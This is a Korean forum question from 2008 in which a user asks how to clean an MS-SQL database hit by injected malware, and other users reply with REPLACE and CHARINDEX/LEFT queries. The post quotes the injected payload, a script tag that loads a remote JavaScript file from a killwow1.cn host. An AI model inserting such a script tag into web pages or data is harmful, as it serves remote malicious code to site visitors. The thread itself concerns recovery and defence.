PGR21.com
이전 질문 게시판은 새 글 쓰기를 막았습니다. [질문 게시판]을 이용바랍니다.
Date 2008/05/13 16:23:36
Name 마인대밭!!
Subject MS-SQL 쿼리 질문입니다.

데이터베이스가 해킹됬네요 ㅠ 악성코드로 가득합니다 ㅠㅠ

killwow라는 사이트로 접근되는데
데이터베이스컬럼을 보면 기존의 데이터 끝에
<script src=http://www<script src=http://www.killwow1.cn/g.js></script>
이런 스트링이 계속 붙어있네요

일단 데이터를 원래대로 복구하고싶어서 update문을 하려고합니다.
위의 악성문자열이 row마다 조금씩 다 달라서요 -_-
replace나 remove를 어떻게 써야할지 궁금합니다.

음 예를 들면
"마인대밭<script src<script src=http://www.killwow1.cn/g.js></script>"
이런식으로 데이터가 되어버렸는데,
<script로 시작하는 부분의 오른쪽 전부를 remove하라는 쿼리가 되면 될것 같습니다.

ms-sql인데 혹시 쿼리 잘아시는분 도와주세요 ㅠ_ㅠ..
killwow에 대한 정보 아시는분도 감사합니다 -_-++






통합규정 1.3 이용안내 인용

"Pgr은 '명문화된 삭제규정'이 반드시 필요하지 않은 분을 환영합니다.
법 없이도 사는 사람, 남에게 상처를 주지 않으면서 같이 이야기 나눌 수 있는 분이면 좋겠습니다."
krumtrak
08/05/13 17:23
수정 아이콘
update 테이블명
set 컬럼명 = replace( 컬럼명, '<script src<script src=http://www.killwow1.cn/g.js></script>', '' )

이렇게 하면 될겁니다...
바꿔야 할 문자열은 그때그때 찾아서 하셔야 하구요...
08/05/13 17:28
수정 아이콘
일일이 모든 잘못된 문자열에 대해서 처리하는건 좀 빡시고..
재귀(recursive)쿼리를 이용해서 처리하면 될 것 같긴 한데 MS-SQL에서 어떻게 지원이 되는지 모르겠네요.
골치 아프시겠어요.. ㅠㅠ 그래서 입력값은 모두 일일히 validity 체크를 확실하게 ㅠㅠ
마인대밭!!
08/05/13 17:31
수정 아이콘
krumtrak 님 // 네 저도 처음엔 그방식으로 생각했는데요.. 바꿔야할 문자열이 무척많네요 ㅠ_ㅠ..
그래서 <script 로 시작하는 부분에서부터 오른쪽으로 전체를 날리려고하는데
쿼리로 할수가 없는건가요 OTZ..

답변감사합니다 ㅠ_ㅠ..
krumtrak
08/05/13 17:49
수정 아이콘
&t;script 로 시작하는 부분에서부터 오른쪽으로 전체를 날리는 거라면...
charindex 와 left 함수를 조합하면 될것 같습니다...
charindex 로 <script... 시작하는 자리 구해서
left 로 잘라내면 될것 같습니다...
조건만 잘 주면 될거같아요... ^^;
목록 삭게로! 맨위로
번호 제목 이름 날짜 조회
36895 소설 천룡팔부 마지막 대사가 무슨 뜻일까요? [1] 공유2424 08/05/14 2424
36894 비듬관련 질문좀~드려요. [8] 치어풀1783 08/05/14 1783
36893 체크카드 관련 질문입니다. [2] 2187 08/05/14 2187
36892 집 문의요. [4] 낭만한량1766 08/05/14 1766
36891 큰일났네요..6월평가원모의고사 접수를 못했습니다 ㅜㅜ [8] pipipi2274 08/05/14 2274
36890 그래픽카드 hd2600쓰시는분들 [2] 올빼미1835 08/05/14 1835
36889 핸드폰용 블루투스 싸고 휴대성이 좋은게 뭐가 있을까요? workbee1914 08/05/14 1914
36888 제가 정장을 삿는데 잘삿는지 좀.. [3] 포셀라나2068 08/05/14 2068
36887 MP3 추천 부탁드려요 [3] 모모코맛홍차2101 08/05/14 2101
36886 입술물어뜯는 버릇 고치는 방법 좀 요.. [3] 포셀라나2890 08/05/14 2890
36885 공익 소집해제에 대한 질문입니다.. [3] 비야레알2031 08/05/14 2031
36882 쉐바vs딩요 [11] 리틀세브첸코1878 08/05/13 1878
36881 컴퓨터 살려구요.. 완전 생초보구요 [1] 바알키리1895 08/05/13 1895
36880 해외에서 한국으로 전화할때 질문여 .. [2] CaCaCa5229 08/05/13 5229
36879 FM2008 넷플 질문입니다. 공유기 관련! 새벽오빠2706 08/05/13 2706
36877 성년의날 선물에 아는 동생에게 향수 어떤가요? [3] DynamicToss2260 08/05/13 2260
36876 화장품을 사고 싶은데 마땅히 상담할곳 어디 없을까요? [3] Qooluck1869 08/05/13 1869
36874 맥주 잘 마시는 법 없나요?? [11] worcs4544 08/05/13 4544
36873 대전 지하철에 프리스티스오브더문 목소리가 들립니다. [11] 3017 08/05/13 3017
36872 솔로가 커플보다 좋은점이 뭐가 있을까요...-_- [18] Anarchie2155 08/05/13 2155
36870 신나는 노래(ex.트로트;) 추천받아요~ [10] AU)Asiel2350 08/05/13 2350
36867 예전에 봤던 애니메이션의 이름을 찾고 있습니다. [8] 히든고수2335 08/05/13 2335
36865 MS-SQL 쿼리 질문입니다. [4] 마인대밭!!1910 08/05/13 1910
목록 이전 다음
댓글

+ : 최근 6시간내에 달린 댓글
+ : 최근 12시간내에 달린 댓글
맨 위로